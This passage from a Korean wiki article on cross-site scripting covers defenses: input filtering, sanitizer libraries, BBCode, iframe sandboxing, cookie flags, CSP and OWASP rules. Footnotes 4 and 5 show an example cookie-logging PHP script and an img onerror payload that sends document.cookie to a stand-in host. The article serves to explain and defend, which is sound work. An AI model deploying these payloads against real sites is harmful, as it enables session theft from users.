์ž๋ฐ”๋Š” ์ ๋‹นํ•œ XSS ํ•„ํ„ฐ๋ฅผ ๋งŒ๋“  ๋’ค, web.xml์— ์„ ์–ธํ•˜์—ฌ ๋ชจ๋“  ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ํ•ด๋‹น ํ•„ํ„ฐ๋ฅผ ๊ฑฐ์น˜๋„๋ก ํ•˜๋Š”๊ฒƒ ๋งŒ์œผ๋กœ๋„ ์ข‹์€ ํšจ๊ณผ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

PHP๋Š” ์ž…๋ ฅ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ, ์ •๊ทœ์‹์„ ์ด์šฉํ•˜๋Š” preg_replace๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, ๋…ธ๋“œ๋ฅผ ์ด์šฉํ•˜๋Š” DOMDocument๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์†๋„๋Š” preg_replace๊ฐ€ ๋” ๋น ๋ฅด์ง€๋งŒ, ์ •๊ทœ์‹์˜ ๊ฒฝ์šฐ ์˜ˆ์™ธ์™€ ์˜ค๋ฅ˜๊ฐ€ ์ข…์ข… ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๋” ์•ˆ์ „ํ•œ DOMDocument๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค.[8]

4.1.1. ํ•„ํ„ฐ ์ œ์ž‘[ํŽธ์ง‘]

๋‹จ์ˆœํžˆ ํ…์ŠคํŠธ๋งŒ ์ž…๋ ฅ์‹œํ‚ค๊ฑฐ๋‚˜ ์ถœ๋ ฅํ•˜๋Š” ๋ฐ ํ•„ํ„ฐ๋ฅผ ์ œ์ž‘ํ•  ๋•Œ, ์ฃผ๋กœ ํ•„ํ„ฐ๋˜๋Š” ๊ฒƒ์ด <์™€ >์ด๋‹ค. ๊ฐ๊ฐ &lt; ์™€ &gt; ์ฒ˜๋Ÿผ HTML ๋ฌธ์ž๋กœ ๋ฐ”๊พธ์–ด์„œ HTML ์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ ๋‹จ์ˆœ ๋ฌธ์ž๋กœ ์ธ์‹ํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ํ•˜์ง€๋งŒ, ์ด ๊ฒฝ์šฐ๋Š” ๋ชจ๋“  HTML ํƒœ๊ทธ๋ฅผ ๋ง‰์•„๋ฒ„๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์—, ๊ฐ์ข… ์Šคํƒ€์ผ์„ ์ ์šฉ์‹œ์ผœ์•ผํ•˜๋Š” ์‚ฌ์ดํŠธ์—์„œ๋Š” ๋งž์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ๋‹ค.
4.1.1.1. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ œ์ž‘[ํŽธ์ง‘]
๊ฐ์ข… ์Šคํƒ€์ผ์„ ์ ์šฉ์‹œ์ผœ ๊ธ€์„ ๊พธ๋ฉฐ์•ผ ํ•˜๋Š” ์‚ฌ์ดํŠธ์˜ ๊ฒฝ์šฐ, ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์™€ ์ด๋ฒคํŠธ ์†์„ฑ, javascript: ๋งํฌ๋งŒ ์ œ๋Œ€๋กœ ๋ง‰์•„์ฃผ์–ด๋„ ์ƒ๋‹น์ˆ˜๋ฅผ ๋ง‰์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ํ•˜์ง€๋งŒ, EMBED ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ €๋Ÿฐ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋„ XSS๋ฅผ ๋จน์ด๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, ๋‹ค๋ฅธ ๊ฒƒ๋“ค๋„ ๋ชจ๋‘ ๋ง‰์•„์ฃผ์–ด์•ผ ํ•œ๋‹ค.
์ด ๋•Œ, ์ผ๋ถ€ ํƒœ๊ทธ ๋ฐ ์†์„ฑ๋งŒ ๋ง‰๊ธฐ ๋ณด๋‹ค๋Š”, ๋ฐ˜๋Œ€๋กœ ์ผ๋ถ€ ํƒœ๊ทธ ๋ฐ ์†์„ฑ๋งŒ ํ—ˆ์šฉํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ๋ช‡๋ช‡ ํƒœ๊ทธ๋งŒ ๋ง‰๋Š”๋‹ค๋ฉด HTML ํƒœ๊ทธ๋‚˜ ์†์„ฑ์ด ์ถ”๊ฐ€๋  ์ˆ˜๋ก ์ฃผ๊ธฐ์ ์œผ๋กœ ํ•„ํ„ฐ๋ฅผ ์ˆ˜์ •ํ•ด์ค˜์•ผ ํ•˜๋Š”๋ฐ, ์ด๋Ÿด ๊ฒฝ์šฐ HTML ํ‘œ์ค€์„ ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ผผ๊ผผํžˆ ์ฑ™๊ฒจ๋ณด์ง€ ์•Š๋Š” ํ•œ์€[9], ์—…๋ฐ์ดํŠธ๋ฅผ ํ•˜๋Š” ์‚ฌ์ด์— ์ด๋ฏธ ํ•ด์ปค๊ฐ€ ์นจํˆฌํ•ด๋†“๊ณ  ์œ ์œ ์ž์ ํ•˜๊ฒŒ ๋น ์ ธ๋‚˜๊ฐ”์„ ์ˆ˜๋„ ์žˆ๋‹ค.
4.1.1.2. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ด์šฉ[ํŽธ์ง‘]
๊ธฐ์กด์— ์žˆ๋˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฐ€์ ธ๋‹ค ์‚ฌ์šฉํ•ด๋„ ์ข‹๋‹ค. ๊ฐœ์ธ์ด๋‚˜ ์†Œ๊ทœ๋ชจ ๋‹จ์ฒด๊ฐ€ ๋งŒ๋“  ๊ฒƒ ๋ณด๋‹ค๋Š”, ์ „๋ฌธ์ ์ธ ๋ณด์•ˆ ์—…์ฒด๋‚˜ ๊ฑฐ๋Œ€ ๊ธฐ์—…์—์„œ ๋งŒ๋“  ๊ฒƒ์ด ๊ณต์‹ ๋ ฅ์žˆ๊ณ  ํŽธํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์‚ฌ์šฉํ• ๋งŒํ•œ ๊ฒƒ์œผ๋กœ๋Š” OWASP Antisamy์ด๋‚˜ NAVER Lucy XSS Filter, ESAPI ๋“ฑ์„ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.
4.1.1.3. BBCode ์‚ฌ์šฉ[ํŽธ์ง‘]
๊ธ€์„ ๊พธ๋ฉฐ์•ผ ํ•˜์ง€๋งŒ, ๋”ฐ๋กœ ํ•„ํ„ฐ๋ฅผ ๋งŒ๋“ค๊ธด ์–ด๋ ค์šด ๊ฒฝ์šฐ, BBCode๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค.[10] ๋Œ€๋ถ€๋ถ„์˜ ์œ„ํ‚ค์—์„œ[11]๋„ ์ด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๊ธฐ๋„ ํ•˜๋‹ˆ, ์ง€๊ธˆ ์ด ๊ธ€์„ ๋ณด๊ณ  ์žˆ๋Š” ๋‹น์‹ ์ด๋ผ๋ฉด ์ƒ๋‹นํžˆ ์ต์ˆ™ํ•  ์ˆ˜๋„ ์žˆ๊ฒ ๋‹ค, ๋งŒ๋“ค๊ธฐ๋„ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์— ๋น„ํ•ด ํŽธํ•˜๊ณ , ์•ˆ์ „์„ฑ๋„ ๋†’์€ ํŽธ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€์žฅ ์ถ”์ฒœ๋˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ๋˜ํ•œ <๋‚˜ >๊ฐ™์€ HTML ์ฝ”๋“œ๋ฅผ ๋‹จ์ˆœ ๋ฌธ์ž๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— XSS๊ฐ€ ์‹คํ–‰๋  ์—ผ๋ ค๊ฐ€ ์ ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๋•Œ, ์ •๊ทœ์‹๊ณผ ๊ฐ™์ด ๋‹จ์ˆœํžˆ ๋ฌธ์ž์—ด ์น˜ํ™˜์œผ๋กœ ์ˆ˜์ •ํ•  ๊ฒฝ์šฐ, XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

4.2. ์ถœ๋ ฅ ํ•„ํ„ฐ[ํŽธ์ง‘]

HTML5๋ถ€ํ„ฐ iframe์˜ sandbox ์˜ต์…˜์œผ๋กœ iframe ๋‚ด์˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ, ํผ๊ณผ ๊ฐ™์€ ๊ฒƒ์˜ ์ œํ•œ์ด ๊ฐ€๋Šฅํ•ด ์กŒ์œผ๋ฏ€๋กœ, ์œ„์˜ ๋ฐฉ๋ฒ•์„ ์‹คํ–‰ํ•œ ๋’ค 2์ฐจ์ ์œผ๋กœ ์จ๋ณด๋Š” ๊ฒƒ๋„ ์ข‹๋‹ค. ๋‹จ, ์–ด๋””๊นŒ์ง€๋‚˜ 2์ฐจ๋กœ๋งŒ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ๊ตฌ๋ฒ„์ „์˜ ์›น ๋ธŒ๋ผ์šฐ์ €๋ผ๋ฉด ํ˜ธํ™˜์ด ๋˜์ง€ ์•Š์•„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋˜๊ฑฐ๋‚˜, ์„ค๋ น ๊ทธ๊ฒŒ ์•„๋‹ˆ๋”๋ผ๋„ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋  ๊ฒฝ์šฐ, ์ด๋Ÿฐ ๋ฐฉ๋ฒ•์ด ๋šซ๋ฆด ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

iframe์€ ๋‹จ์ˆœํžˆ ๋‹ค๋ฅธ ์›น์‚ฌ์ดํŠธ๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ๋งŒ์ด ์•„๋‹ˆ๋ผ, ๋ถ€๋ชจ ์ฐฝ์—์„œ ๋งˆ์Œ๋Œ€๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋ฌด์‹ํ•˜๊ฒŒ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋ฉฐ AJAX๋‚˜ PJAX ๋“ฑ์„ ํฌ๊ธฐํ•˜๋ฉฐ ์‚ฌ์šฉํ•˜์ง€ ๋ง์ž. ๋ฌผ๋ก , ๊ธฐ์กด๋ถ€ํ„ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์›น ํŽ˜์ด์ง€๋ฅผ ๊ฐœ๋ฐœํ•˜๋Š” ์‚ฌ๋žŒ๋ณ€ํƒœ์€ ๋ฌผ๋ก ์ด๊ณ , jQuery๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ๋žŒ๋“ค๋„ ์กฐ๊ธˆ๋งŒ ๊ฒ€์ƒ‰ํ•ด๋ณด๋ฉด ๊ฐ„๋‹จํ•˜๊ฒŒ iframe์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ๋‚˜์˜ค๋‹ˆ ๋„์ „ํ•ด ๋ณด๋„๋ก ํ•˜์ž.

4.3. ์ฟ ํ‚ค์˜ ๋ณด์•ˆ ์˜ต์…˜ ์‚ฌ์šฉ[ํŽธ์ง‘]

์ฟ ํ‚ค ์ƒ์„ฑ์‹œ '๋ณด์•ˆ ์ฟ ํ‚ค'๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ง€์ •ํ•˜๋ฉด TLS ์ƒ์—์„œ๋งŒ ์‚ฌ์šฉํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, 'HTTP ONLY'๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์›น ๋ธŒ๋ผ์šฐ์ €์ƒ์—์„œ๋งŒ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. ๋ฌผ๋ก  ์™„์ „ํžˆ ๋ฐฉ์–ด๊ฐ€๋Šฅํ•œ ๊ฑด ์•„๋‹ˆ๋‹ˆ[12] ์œ„์˜ ํ•ด๊ฒฐ๋ฒ•๊ณผ ๋ณ‘ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค.

4.4. ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ… (Content Security Policy, CSP) ์‚ฌ์šฉ[ํŽธ์ง‘]

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์— ๋Œ€ํ•œ ์ •์ฑ…(์กฐ๊ฑด)์„ ์„ค์ •ํ•ด ์•Œ ์ˆ˜ ์—†๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์›๋ž˜๋Š” ์™ธ๋ถ€ ์„œ๋ฒ„์˜ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์ด script ํƒœ๊ทธ๋‚˜ iframe ๋“ฑ ์‚ฌ์ดํŠธ์— ๋กœ๋“œ๊ฐ€ ๋˜๋ฉด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€๋งŒ, CSP๋ฅผ ์„ค์ •ํ•ด ์ถœ์ฒ˜๊ฐ€ ์ž๊ธฐ ์„œ๋ฒ„์ธ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฌผ๋ก  ์ด๋Š” ์–ด๋””๊นŒ์ง€๋‚˜ ์™„์ „ ๋ฐฉ์–ด๊ฐ€ ์•„๋‹Œ ์˜ˆ๋ฐฉ์˜ ์ฐจ์›์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ์•„๋‘ฌ์•ผ ํ•œ๋‹ค.

5. ๊ธฐํƒ€[ํŽธ์ง‘]

์œ„ ๋ฐฉ๋ฒ•๋“ค๊ณผ๋Š” ๋ณ„๊ฐœ๋กœ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž˜ ์•Œ์ง€ ๋ชปํ•˜๋Š” ๊ฒƒ์„ ์•…์šฉํ•˜์—ฌ, ์‚ฌ์šฉ์ž๊ฐ€ ๋ธŒ๋ผ์šฐ์ € ์ฝ˜์†”์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ด ์‹คํ–‰๋˜๋„๋ก ์†์ด๊ธฐ๋„ ํ•˜๋Š”๋ฐ, ์ด๋ฅผ ์Šค์Šค๋กœ ํ•˜๋Š” XSS๋ผ๋Š” ๋œป์˜ Self XSS๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค. ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์Šค์Šค๋กœ ์‹คํ–‰ํ•œ ๊ฒƒ์ด๋‹ˆ๋งŒํผ ์œ„ ๋ฐฉ์–ด ๋ฐฉ๋ฒ•์œผ๋ก  ๋ง‰๊ธฐ ์–ด๋ ค์šฐ๋‹ˆ, ์ž˜ ์•Œ์ง€ ๋ชปํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ ๋“ฑ์€ ์ ˆ๋Œ€๋กœ ์‹คํ–‰ํ•ด์„œ๋Š” ์•ˆ ๋œ๋‹ค.[13]


OWASP์—์„œ XSS ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๋Š” 7๊ณ„๋ช…์„ ๋ฐœํ‘œํ•˜๊ธฐ๋„ ํ–ˆ๋‹ค. ์—ญ์‹œ 0๋ถ€ํ„ฐ ์„ธ๋Š” ๊ณต๋Œ์ด
0. ํ—ˆ์šฉ๋œ ์œ„์น˜๊ฐ€ ์•„๋‹Œ ๊ณณ์— ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋“ค์–ด๊ฐ€๋Š”๊ฒƒ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค.
1. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฐ์ดํ„ฐ๋Š” ๊ฒ€์ฆ์„ ํ•˜์—ฌ๋ผ.
2. HTML ์†์„ฑ์— ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†๋„๋ก ํ•˜์—ฌ๋ผ.
3. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์— ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†๋„๋ก ํ•˜์—ฌ๋ผ.
4. CSS์˜ ๋ชจ๋“  ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฐ’์— ๋Œ€ํ•ด์„œ ๊ฒ€์ฆํ•˜์—ฌ๋ผ.
5. URL ํŒŒ๋ผ๋ฏธํ„ฐ์— ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฐ’์ด ์žˆ๋Š”์ง€ ๊ฒ€์ฆํ•˜์—ฌ๋ผ.
6. HTML ์ฝ”๋“œ๋ฅผ ์ „์ฒด์ ์œผ๋กœ ํ•œ๋ฒˆ ๋” ๊ฒ€์ฆํ•˜์—ฌ๋ผ.

6. ๊ด€๋ จ ๋ฌธ์„œ[ํŽธ์ง‘]

[1] ์ค„์ด๋ฉด CSS์ธ๋ฐ Cascading Style Sheet์™€ ํ˜ผ๋™์ด ์˜ฌ ์ˆ˜ ์žˆ์–ด์„œ XSS๋ผ๊ณ  ๋ถ€๋ฅด๋Š” ๊ฒƒ์ด๋‹ค.
[2] ์‚ฌ์‹ค XSS์™€ SQL Injection์€ ๊ทธ ๊ฒฝ๊ณ„๊ฐ€ ๋ชจํ˜ธํ•˜๋‹ค. XSS๊ฐ€ javascript๋ฅผ ์ด์šฉํ•ด์„œ ๊ณต๊ฒฉํ•œ๋‹ค๋ฉด SQL Injection์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ์ž˜๋ชป๋œ Query๊ฐ€ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” ์ •๋„์˜ ์ฐจ์ด๊ณ  ๋‘˜์€ ๊ณต๊ฒฉ๋ฐฉ์‹์ด๋‚˜(url์„ ์กฐ์ž‘ํ•ด์„œ sql ์ธ์ ์…˜ํ•˜๋Š” ๊ฒฝ์šฐ) ๋ฐฉ์–ด๋ฐฉ์‹์ด๋‚˜ ์ƒ๋‹นํžˆ ์œ ์‚ฌํ•˜๋‹ค.
[3] ์‚ฌ์šฉ์ž ์ž…์žฅ์—์„œ๋Š” ์‚ฝ์ž…๋œ ์ฝ”๋“œ๊ฐ€ ์›๋ž˜๋ถ€ํ„ฐ ์กด์žฌํ•˜๋Š” ์ฝ”๋“œ์ธ์ง€ ์•„๋‹Œ์ง€ ๋ถ„๊ฐ„ ํ•  ์ˆ˜ ์—†๋‹ค.
[4] ์˜ˆ์‹œ์—์„œ๋Š” Cookie.php๋ผ๋Š” ์ด๋ฆ„์˜ PHP ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค. ์ฝ”๋“œ - <? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>
[5] ์˜ˆ์‹œ์—์„œ๋Š” hack.er๋ผ๋Š” ์ด๋ฆ„์˜ ์‚ฌ์ดํŠธ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•œ๋‹ค. ์ฝ”๋“œ - <img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">
[6] ๋ชจ๋ฅด๋Š” ๋ถ„๋“ค์„ ์œ„ํ•˜์—ฌ ์„ค๋ช…ํ•ด ์ฃผ์ž๋ฉด ํŠธ์œ—์„ ๋ณด๋ฉด ๊ฐ•์ œ๋กœ ์ด ๊ฒŒ์‹œ๋ฌผ์„ ๋ฆฌํŠธ์œ—ํ•˜๊ณ  ๊ทธ๊ฑธ ์•Œ๋ฆฌ๋Š” ๊ฒฝ๊ณ ์ฐฝ์„ ๋›ฐ์šฐ๋Š” ์ฝ”๋“œ๋กœ, ์ž‘๋™ํ–ˆ์—ˆ๋‹ค. ์ดํ›„ ํŒจ์น˜๋˜์–ด ๋ง‰ํ˜”๋‹ค.
[7] ๊ธฐ์กด์—๋Š” JSFuck์ด ์‚ฌ์šฉ๋˜์—ˆ์ง€๋งŒ, ์ œ์ž‘์ž์˜ ๋ง๋กœ, ์˜ค๋ฅ˜๊ฐ€ ๋‚˜์„œ ๋”์ด์ƒ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•œ๋‹ค๊ณ  ํ•œ๋‹ค.
[8] ํ•˜์ง€๋งŒ, ์‚ฌ๋žŒ์— ๋”ฐ๋ผ์„œ ์ •๊ทœ์‹์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐœ๋ฐœํ•˜๊ธฐ ๋” ํŽธํ•œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ, ๊ทธ๋ ‡๋‹ค๊ณ  ํ•จ๋ถ€๋กœ ๋Œ€์ถฉ ์ •๊ทœ์‹์„ ๋งŒ๋“ค์–ด์„œ ์‚ฌ์šฉํ–ˆ๋‹ค๊ฐ€ ๋ผ›์†๊นŒ์ง€ ํ„ธ๋ฆฌ๋Š” ์ˆ˜๊ฐ€ ์žˆ๋‹ค.
[9] ์„ค๋ น ๊ทธ๋ ‡๋‹ค ํ•˜๋”๋ผ๋„ ๋น„ํ‘œ์ค€ ํƒœ๊ทธ๊ฐ€ ์žˆ์–ด์„œ ์›น ๋ธŒ๋ผ์šฐ์ €๋งˆ๋‹ค ํ˜ธํ™˜์ด ์•ˆ ๋  ์ˆ˜๋„ ์žˆ๋‹ค.
[10] ์ฃผ๋กœ <์™€ >๋ฅผ ๋Œ€์ฒดํ•˜์—ฌ์„œ, [์™€ ]๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋งŒ๋“ ๋‹ค.
[11] ์œ„ํ‚ค๋ฐฑ๊ณผ, ๋‚˜๋ฌด์œ„ํ‚ค์™€ ๊ฐ™์€ ์œ„ํ‚ค๋“ค๋„ ๋ชจ๋‘ BBCode๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค.
[12] ํŠนํžˆ Let's Encrypt ๊ฐ™์€ TLS ์ธ์ฆ์„œ ์ƒ์„ฑ ์†”๋ฃจ์…˜์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ฐธ ์‰ฝ๊ฒŒ TLS ํ™˜๊ฒฝ์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ๋‹ค.
[13] ์ด ๋•Œ๋ฌธ์— ํŒŒ์ด์–ดํญ์Šค ๋“ฑ ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €๋Š” ์ฝ˜์†”์— ๋ถ™์—ฌ๋„ฃ๊ธฐ ์‹œ ๊ฒฝ๊ณ ํ›„ ํ™•์ธ์„ ๊ฑฐ์ณ์•ผ ๋ถ™์—ฌ ๋„ฃ์„ ์ˆ˜ ์žˆ๋‹ค. ๋˜ ํฌ๋กฌ์˜ ๊ฒฝ์šฐ javascript:๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ๋ถ™์—ฌ๋„ฃ์„ ๊ฒฝ์šฐ ๋งจ ์•ž์˜ javascript:๊ฐ€ ๋น ์ง„๋‹ค. ๊ทธ๋ž˜์„œ ์ผ๋ถ€ ์‚ฌ์ดํŠธ์˜ ๊ฒฝ์šฐ ์Šคํฌ๋ฆฝํŠธ ๋ณต์‚ฌ ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด avascript:๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด์ด ๋ณต์‚ฌ๋˜๊ฒŒ ์„ค์ •ํ•˜๊ณ  j์ž๋ฅผ ์ง์ ‘ ์ž…๋ ฅํ•œ ํ›„ ๋ถ™์—ฌ๋„ฃ์œผ๋ผ๋Š” ์„ค๋ช…์„ ํ•˜๊ธฐ๋„ ํ•œ๋‹ค.